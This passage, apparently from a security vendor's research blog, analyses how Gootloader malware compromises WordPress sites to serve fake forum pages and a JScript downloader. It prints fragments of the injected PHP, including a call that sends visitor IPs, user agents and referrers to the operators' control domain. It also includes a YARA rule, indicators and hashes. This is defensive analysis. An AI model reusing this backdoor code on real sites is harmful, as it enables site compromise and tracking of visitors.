and execute any base64 encoded commands it receives, turning into a bare-bones command shell the attackers can use to maintain control over the server:<\/p>\n<figure id=\"attachment_959301\" aria-describedby=\"caption-attachment-959301\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image14.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959301\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image14.png\" alt=\"A simple command shell Gootkit inserts into the PHP running in a WordPress site the threat actors have comrpomised\" width=\"640\" height=\"167\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image14.png 812w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image14.png?resize=300,78 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image14.png?resize=768,201 768w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959301\" class=\"wp-caption-text\">A simple command shell Gootloader inserts into the PHP running in a WordPress site the threat actors have compromised<\/figcaption><\/figure>\n<p>At other points inside the code, the script defines filters for WordPress events, which trigger the execution of functions based on predefined conditions.<\/p>\n<p>For example, the following function executes once the attackers have set up the compromised WordPress environment: the invoked code (referenced as \u201cqvc5\u201d) initializes the <em>backupdb_wp_lstat<\/em> database table.<\/p>\n<pre>\u00a0\u00a0\u00a0 add_action(\"wp\", \"qvc5\");<\/pre>\n<p>This snippet from the qvc5() function initializes the backend databases used by Gootloader:<\/p>\n<pre>if ($table_prefix &lt; &gt; \"backupdb_\".$qvc4) {   \u00a0\u00a0 $table_prefix = \"backupdb_\".$qvc4;   \u00a0\u00a0 wp_cache_flush();   \u00a0\u00a0 $qvc5 = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST);   \u00a0\u00a0 $qvc5 - &gt; set_prefix($table_prefix);<\/pre>\n<p>On preparing the requested web page, the malicious event handler hooks build the request to the \u201cmothership\u201d (a name I\u2019ve given to the website the Gootloader operators use to centrally manage their fleet of compromised blogs). The communication sends the mothership the following parameters of the initial request, all in base64 encoded form:<\/p>\n<ul>\n<li>a: Unique server ID<\/li>\n<li>b: IP address of the unsuspecting visitor<\/li>\n<li>c: user agent<\/li>\n<li>d: referrer string<\/li>\n<\/ul>\n<pre>if (isset($_GET[$qwc4])) {  \u00a0\u00a0 $request = @wp_remote_retrieve_body(@wp_remote_get(\"http:\/\/my-game.biz\/index.php?a=\".base64_encode($_GET[$qwc4]).  \u00a0\u00a0 '&amp;b='.base64_encode($_SERVER[\"REMOTE_ADDR\"]).  \u00a0\u00a0\u00a0 '&amp;c='.base64_encode($_SERVER[\"HTTP_USER_AGENT\"]).  \u00a0\u00a0\u00a0 '&amp;d='.base64_encode(wp_get_referer()), array(\"timeout\" =&gt; 120)))<\/pre>\n<p>One of Gootloader\u2019s most problematic behaviors is that it only allows the potential victim to visit the site once in a 24-hour period. It does this by adding the originating IP address of this communication (the address of the victim PC, variable \u2018b\u2019 above) to a block list. The server also geofences IP address ranges, and only allows requests to originate from specific countries of interest to the Gootloader threat actor.\u00a0 The referrer string (variable \u2018d\u2019 above) contains the original search terms.<\/p>\n<p>This results in a query that looks like this:<\/p>\n<pre>http:\/\/my-game.biz\/index.php?a=YWFkZTVlZQ&amp;b=ODUuMjE0LjEzMi4xMTc&amp;c=TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzg4LjAuNDMyNC4xNTAgU2FmYXJpLzUzNy4zNg&amp;d=Z29vZ2xlLz9xPWNpc2NvX3dwYV9hZ3JlZW1lbnQ<\/pre>\n<p>(In this example, the \u201c&amp;d=\u201d referrer string is the base64-encoded value of \u201c<em>google\/?q=cisco_wpa_agreement<\/em>\u201d)<\/p>\n<p>Later, we will see that the server\u2019s response will be the fake forum page renderer code.<\/p>\n<h2>The mothership sends the fake forum page<\/h2>\n<p>The mothership response contains two parts: one contains the HTML header elements, and the other contains the page body content. The two are delimited in the code by a &lt;sleep&gt; tag.<\/p>\n<p>The header part contains multiple elements, separated by pipe (\u201c|\u201d) characters. Using what it gets from the mothership, the landing page code will gather the HTML content:<\/p>\n<figure id=\"attachment_959302\" aria-describedby=\"caption-attachment-959302\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image15.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959302\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image15.png\" alt=\"The portion of the Gootkit code that collects the HTML content of the fake page it will later draw over the top of the compromised website\" width=\"640\" height=\"237\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image15.png 1380w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image15.png?resize=300,111 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image15.png?resize=768,285 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image15.png?resize=1024,380 1024w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959302\" class=\"wp-caption-text\">The portion of the Gootkit code that collects the HTML content of the fake page it will later draw over the top of the compromised website<\/figcaption><\/figure>\n<p>The script adds the entire \/24 IP address range where the request originated to a 24-hour block list. Neither the originating computer, nor any others with the same initial three sets of numbers in its IP address, can get the page again for at least a day. (This was already seen in the SQL database dump):<\/p>\n<figure id=\"attachment_959303\" aria-describedby=\"caption-attachment-959303\" style=\"width: 716px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image16.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-959303\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image16.png\" alt=\" The Gootkit code blocks repeat visitors by adding not only the visitor's IP address range to a block list, but the entire class C IPv4 address range on either side of the visitor's address, just for good measure\" width=\"716\" height=\"208\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image16.png 1778w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image16.png?resize=300,87 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image16.png?resize=768,224 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image16.png?resize=1024,298 1024w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image16.png?resize=1536,447 1536w\" sizes=\"auto, (max-width: 716px) 100vw, 716px\" \/><\/a><figcaption id=\"caption-attachment-959303\" class=\"wp-caption-text\">The Gootkit code blocks repeat visitors by adding not only the visitor&#8217;s IP address range to a block list, but the entire class C IPv4 address range on either side of the visitor&#8217;s address, just for good measure<\/figcaption><\/figure>\n<h3>How Gootloader renders the fake forum page<\/h3>\n<p>If the request comes from an IP address that isn\u2019t on the block list, the malicious code in the compromised WordPress database takes action and delivers the bogus message board content (typically titled simply \u201cQuestions And Answers\u201d) to the visitor\u2019s browser.<\/p>\n<figure id=\"attachment_959304\" aria-describedby=\"caption-attachment-959304\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image17.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959304\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image17.png\" alt=\"The Gootkit\/Gootloader fake forum page, featuring a &quot;question&quot; and an &quot;answer&quot; that links to the Gootloader JScript first-stage payload\" width=\"640\" height=\"599\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image17.png 830w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image17.png?resize=300,281 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image17.png?resize=768,719 768w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959304\" class=\"wp-caption-text\">The Gootloader fake forum page, featuring a &#8220;question&#8221; and an &#8220;answer&#8221; that links to the Gootloader JScript first-stage payload<\/figcaption><\/figure>\n<p>The only visible malicious content in the source code of a compromised landing page is a simple inserted JavaScript tag. For example:<\/p>\n<pre><a href=\"https:\/\/powerstick.com\/main\/?ad94610=1174868\">https:\/\/powerstick.com\/main\/?ad94610=1174868<\/a><\/pre>\n<p>Here, again, the unique key for the infected server is used as a parameter assigned to a numeric value (<em>1174868<\/em> in the above example):<\/p>\n<figure id=\"attachment_959305\" aria-describedby=\"caption-attachment-959305\" style=\"width: 779px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image18.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-959305\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image18.png\" alt=\"The unique key is linked in a Javascript code snippet embedded in the compromised WordPress server page.\" width=\"779\" height=\"224\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image18.png 752w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image18.png?resize=300,86 300w\" sizes=\"auto, (max-width: 779px) 100vw, 779px\" \/><\/a><figcaption id=\"caption-attachment-959305\" class=\"wp-caption-text\">The unique key is linked in a Javascript code snippet embedded in the compromised WordPress server page.<\/figcaption><\/figure>\n<p>This &lt;script&gt; tag will invoke the landing page renderer function from the code stored in the WordPress database.<\/p>\n<p>If the HTTPS GET request contains a query string that includes the infection ID, the handler code sends a request to the mothership and renders the response.<\/p>\n<p>We are able to get the code returned by the mothership by grabbing the fake landing page HTML source, and using a web debugger that records the on-the-fly changes.<\/p>\n<p>First it deletes the original content of the HMTL page:<\/p>\n<figure id=\"attachment_959306\" aria-describedby=\"caption-attachment-959306\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image19.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959306\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image19.png\" alt=\"A set of commands that deletes from view the original page content on the compromised WordPress server page the visitor lands on\" width=\"640\" height=\"124\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image19.png 800w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image19.png?resize=300,58 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image19.png?resize=768,149 768w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959306\" class=\"wp-caption-text\">A set of commands that deletes from view the original page content on the compromised WordPress server page the visitor lands on<\/figcaption><\/figure>\n<p>&#8230;and replaces it with the fake forum text&#8230;<\/p>\n<figure id=\"attachment_959307\" aria-describedby=\"caption-attachment-959307\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image20.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959307\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image20.png\" alt=\"The replacement content includes the text of the &quot;Questions And Answers&quot; fake forum page\" width=\"640\" height=\"224\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image20.png 764w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image20.png?resize=300,105 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959307\" class=\"wp-caption-text\">The replacement content includes the text of the &#8220;Questions And Answers&#8221; fake forum page<\/figcaption><\/figure>\n<p>&#8230;which also contains the download link for the first stage JScript payload:<\/p>\n<figure id=\"attachment_959308\" aria-describedby=\"caption-attachment-959308\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image21.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959308\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image21.png\" alt=\"The download link points to a php script hosted on a different server. This link delivers the .js file packed into a Zip archive which comprises the first stage Gootloader payload\" width=\"640\" height=\"63\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image21.png 763w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image21.png?resize=300,29 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959308\" class=\"wp-caption-text\">The download link points to a php script hosted on a different server. This link delivers the .js file packed into a Zip archive which comprises the first stage Gootloader payload<\/figcaption><\/figure>\n<p>The result will look like a conversation in the blog comments in which someone \u201casks\u201d a question identical to the search query passed from the Google referrer text, a \u201cresponse\u201d appears from a user account named Admin with the search term hotlinked to the first stage JScript downloader, and a followup \u201cresponse\u201d from the same \u201cuser\u201d who \u201casked\u201d the initial question, thanking the admin who \u201canswered.\u201d<\/p>\n<p>The entire conversation is a fiction. It follows this pattern in every Gootloader incident.<\/p>\n<figure id=\"attachment_959309\" aria-describedby=\"caption-attachment-959309\" style=\"width: 900px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image22.png\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-959309\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image22.png\" alt=\"A Gootkit\/Gootloader fake forum page in German. The source code of the page shows the link points to a file named down.php hosted on a completely different server than the one where the page appears. The link marked in red will connect to the server that is hosting the first-stage download JScript.\" width=\"900\" height=\"492\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image22.png 1542w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image22.png?resize=300,164 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image22.png?resize=768,419 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image22.png?resize=1024,559 1024w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image22.png?resize=1536,839 1536w\" sizes=\"auto, (max-width: 900px) 100vw, 900px\" \/><\/a><figcaption id=\"caption-attachment-959309\" class=\"wp-caption-text\">A Gootloader fake forum page in German. The source code of the page shows the link points to a file named down.php hosted on a completely different server than the one where the page appears. The link marked in red will connect to the server that is hosting the first-stage download JScript.<\/figcaption><\/figure>\n<h3>The first-stage downloader site<\/h3>\n<p>The fake forum page connects to the first stage download server, where a PHP script serves the first stage JScript downloader script.<\/p>\n<p>(We received a copy of this script from another researcher in the security community, who wishes to remain anonymous, under TLP:Red restrictions. While we couldn\u2019t use the script we received in this blog post, we could use characteristics of the script to hunt for similar samples.)<\/p>\n<p>On the server side, this file is embedded as a large Base64-encoded data blob, with text that begins:<\/p>\n<pre>&lt;?php $a=base64_decode('ZnVuY3Rpb24...<\/pre>\n<p>With this information, we could search for similar scripts, using this Yara rule:<\/p>\n<pre>rule gootkit_stage1_dl{  \u00a0\u00a0 strings:  \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 $a = \"&lt;?php $a=base64_decode('ZnVuY3Rpb24\"  \u00a0\u00a0\u00a0 condition:  \u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0 all of them  }<\/pre>\n<p>This gave us a handful of other variants of the script, with the main difference being the download URL:<\/p>\n<ul>\n<li><a href=\"https:\/\/www.virustotal.com\/gui\/file\/c20a040acb10e820cfaaa086bdc807ffed6241bc5d0fc9e11a02a5d355125df0\">c20a040acb10e820cfaaa086bdc807ffed6241bc5d0fc9e11a02a5d355125df0<\/a><\/li>\n<li><a href=\"https:\/\/www.virustotal.com\/gui\/file\/5b5652c6ea0c0c88105baf6a700324bdf2cd8f47772a3215f721dccdce9141c4\">5b5652c6ea0c0c88105baf6a700324bdf2cd8f47772a3215f721dccdce9141c4<\/a><\/li>\n<li><a href=\"https:\/\/www.virustotal.com\/gui\/file\/744951acfd9456fc59086b81d494c7092cda9968073d32ded64ac09291644bd9\">744951acfd9456fc59086b81d494c7092cda9968073d32ded64ac09291644bd9<\/a><\/li>\n<li><a href=\"https:\/\/www.virustotal.com\/gui\/file\/361fab9858a9bc4a120e67baa01fd5bc4918d20b32bb918a8faacb143f418ac8\">361fab9858a9bc4a120e67baa01fd5bc4918d20b32bb918a8faacb143f418ac8<\/a><\/li>\n<\/ul>\n<p>We observed two mothership addresses, <em>5.8.18[.]7<\/em> and <em>my-game[.]biz<\/em> in the samples we studied. At the time we initially researched this, the my-game domain resolved to that IP address (it now resolves elsewhere). Oddly, the compromised landing page code links to the domain, and the first stage JScript downloader links to the IP address.<\/p>\n<p>The first stage download script (<em>down.php<\/em> or <em>join.php<\/em> or <em>about.php <\/em>or <em>index.php<\/em>) simply relays the incoming request to the mothership:<\/p>\n<figure id=\"attachment_959310\" aria-describedby=\"caption-attachment-959310\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image23.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959310\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image23.png\" alt=\"The source code of the PHP script that delivers the first stage Gootloader payload\" width=\"640\" height=\"342\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image23.png 913w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image23.png?resize=300,160 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image23.png?resize=768,410 768w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959310\" class=\"wp-caption-text\">The source code of the PHP script that delivers the first stage Gootloader payload<\/figcaption><\/figure>\n<p>The request sent to the mothership will return the first-stage downloader JScript packaged in a Zip archive. Because it passes the original referrer string all the way to the mothership, it will receive the original search terms, and can return a payload with a file name matching these search terms, which is what we\u2019ve observed happens.<\/p>\n<h2>How Gootloader compromises WordPress servers<\/h2>\n<p>Near the end of our initial research, we found an important piece of information about the likely source of the initial compromise of the hosting WordPress servers. As we gather more information, it\u2019s worth revisiting <a href=\"https:\/\/www.richinfante.com\/2020\/04\/12\/reverse-engineering-dolly-wordpress-malware\">prior research<\/a>, which may reveal clues that we didn\u2019t know were related at the time.<\/p>\n<p>The writeup describes an attack where attackers placed a modified copy of <a href=\"https:\/\/wordpress.org\/plugins\/hello-dolly\/\">the Hello Dolly plugin<\/a> in the WordPress uploads directory (e.g. wp-content\/uploads\/), which they then used to initiate the installation of the malicious WordPress content.<\/p>\n<p>HelloDolly.php has been a stock plugin, included with the WordPress self-hosted download, for many years. In any case, modifying this code in a relatively benign plugin, and leaving it in place on the compromised server, allows Gootloader to operate in plain sight while minimizing the filesystem changes that might reveal a compromise to an alert webmaster.<\/p>\n<p>There are several ways in which a threat actor might be able to place a file into a WordPress site: The credentials for the web server might have been phished or stolen; a WordPress component may have had a vulnerability that permitted remote users to perform SQL injection or command execution exploits on the host server; the administrative WordPress password might have been stolen.<\/p>\n<p>In this case, the writeup contains a screenshot:<\/p>\n<figure id=\"attachment_959311\" aria-describedby=\"caption-attachment-959311\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image24.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959311\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image24.png\" alt=\"Screenshot of the modified HelloDolly.php script (courtesy of the Rich Infante blog)\" width=\"640\" height=\"389\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image24.png 961w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image24.png?resize=300,182 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image24.png?resize=768,467 768w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959311\" class=\"wp-caption-text\">Screenshot of the modified HelloDolly.php script (courtesy of the Rich Infante blog)<\/figcaption><\/figure>\n<p>We searched VirusTotal for more of these files:<\/p>\n<pre>content:\"dolly_css\"<\/pre>\n<p>While we found several clean, original versions of the HelloDolly.php file\u2026<\/p>\n<ul>\n<li>2c5717200729f76b857a8a32608b72fd3c15772dfcc607bebfc3b36f8ab2a499<\/li>\n<li>2c3d2a55349efe8b636350b58181d930a73e0d0ede59dcaadc47d9a56dd15127<\/li>\n<\/ul>\n<p>\u2026we found many more where the backdoor code had been injected\u2026<\/p>\n<ul>\n<li>03a46ad7873ddb6663377282640d45e38697e0fdc1512692bcaee3cbba1aa016<\/li>\n<li>1fcc418bdd7d2d40e7f70b9d636735ab760e1044bb76f8c2232bd189e2fd8be7<\/li>\n<li>258cb1d60a000e8e0bb6dc751b3dc14152628d9dd96454a3137d124a132a4e69<\/li>\n<li>5d50a7cf15561f35ed54a2e442c3dfdac1d660dc18375f7e4105f50eec443f27<\/li>\n<li>7bcffa722687055359c600e7a9abf5d57c9758dccf65b288ba2e6f174b43ac57<\/li>\n<li>af50c735173326b2af2e2d2b4717590e813c67a65ba664104880dc5d6a58a029<\/li>\n<\/ul>\n<p>\u2026and we also found a few Zips that contained complete copies of compromised WordPress installations:<\/p>\n<ul>\n<li>89672c08916dd38d9d4b7f5bbf7f39f919adcaebc7f8bb1ed053cb701005499a<\/li>\n<\/ul>\n<p>Here, the malicious HelloDolly PHP script is installed as a WordPress plugin under the path:<\/p>\n<pre>wp-contentpluginsHello_DollyHelloDolly.php<\/pre>\n<figure id=\"attachment_959312\" aria-describedby=\"caption-attachment-959312\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image25.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959312\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image25.png\" alt=\"Another format of the modified HelloDolly.php script shows the unique identifier string\" width=\"640\" height=\"227\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image25.png 1514w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image25.png?resize=300,106 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image25.png?resize=768,272 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image25.png?resize=1024,363 1024w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959312\" class=\"wp-caption-text\">Another format of the modified HelloDolly.php script shows the unique identifier string<\/figcaption><\/figure>\n<p>The malicious PHP files show the additional code, along with the original Hello Dolly lyrics. An inserted code will check the POST request for specific parameters, and if found, will execute the submitted installation code.<\/p>\n<figure id=\"attachment_959313\" aria-describedby=\"caption-attachment-959313\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image26.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959313\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image26.png\" alt=\"A variation on the modified HelloDolly.php script\" width=\"640\" height=\"462\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image26.png 1009w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image26.png?resize=300,216 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image26.png?resize=768,554 768w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959313\" class=\"wp-caption-text\">A variation on the Gootloader-modified HelloDolly.php script<\/figcaption><\/figure>\n<p>We found other variations where the $dolly variables are renamed $wp<\/p>\n<p>The <a href=\"https:\/\/www.richinfante.com\/2020\/04\/12\/reverse-engineering-dolly-wordpress-malware\">research blog<\/a> post summarizes the process like this:<\/p>\n<figure id=\"attachment_959314\" aria-describedby=\"caption-attachment-959314\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image27.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959314\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image27.png\" alt=\"A screenshot that summarizes the modification process Gootloader uses (image courtesy of the Rich Infante blog)\" width=\"640\" height=\"258\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image27.png 983w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image27.png?resize=300,121 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image27.png?resize=768,309 768w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959314\" class=\"wp-caption-text\">A screenshot that summarizes the modification process Gootloader uses (image courtesy of the Rich Infante blog)<\/figcaption><\/figure>\n<p>We found these components in the SQL database dumps, giving us enough confidence to establish that this was (at least) one way the attackers compromised these legitimate WordPress sites to turn them into distribution servers.<\/p>\n<figure id=\"attachment_959315\" aria-describedby=\"caption-attachment-959315\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image28.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959315\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image28.png\" alt=\"A WordPress database dump contains the same elements that the Rich Infante blog references\" width=\"640\" height=\"226\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image28.png 800w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image28.png?resize=300,106 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image28.png?resize=768,271 768w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959315\" class=\"wp-caption-text\">A WordPress database dump contains the same elements that the Rich Infante blog references<\/figcaption><\/figure>\n<h2>Docking with the mothership<\/h2>\n<p>The mothership server <a href=\"https:\/\/news.sophos.com\/en-us\/2021\/08\/12\/gootloaders-mothership-controls-malicious-content\/\">plays a central role orchestrating the early stages of the infectio<\/a>n process: It provides the fake forum content that the compromised sites display in the target\u2019s browser, as well as the first stage payload.<\/p>\n<p>Unfortunately, because this has all been maintained on a server that is directly controlled by the threat actors, whatever source code it may contain is not available to researchers.<\/p>\n<p>Disturbingly, since 2018 when Gootloader first appeared on the scene, it has used the same domain, and for most of that time, the domain pointed to most of the same IP addresses.<\/p>\n<h3>5.8.18[.]7<\/h3>\n<p>The my-game[.]biz domain resolved to this IP address for several years. Many of the malicious scripts point directly at URLs hosted on this IP address to deliver components of the infection.<\/p>\n<p>Known URLs:<\/p>\n<pre>http:\/\/5.8.18[.]7\/filezzz.php<\/pre>\n<p>The initial components of the infection are files known as Gootkit. They are usually just <a href=\"https:\/\/www.virustotal.com\/gui\/file\/361fab9858a9bc4a120e67baa01fd5bc4918d20b32bb918a8faacb143f418ac8\/detection\">PHP scripts that contain a base64-encoded string<\/a> and a script to decode the data and output it to a variable, such as this file (variably referred to as join.php or down.php).<\/p>\n<figure id=\"attachment_959316\" aria-describedby=\"caption-attachment-959316\" style=\"width: 640px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image29.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-959316\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image29.png\" alt=\"The encoded form of a PHP script that delivers the .js payload\" width=\"640\" height=\"464\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image29.png 802w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image29.png?resize=300,218 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2025\/01\/202501_gootloader_image29.png?resize=768,557 768w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><figcaption id=\"caption-attachment-959316\" class=\"wp-caption-text\">The encoded form of a PHP script that 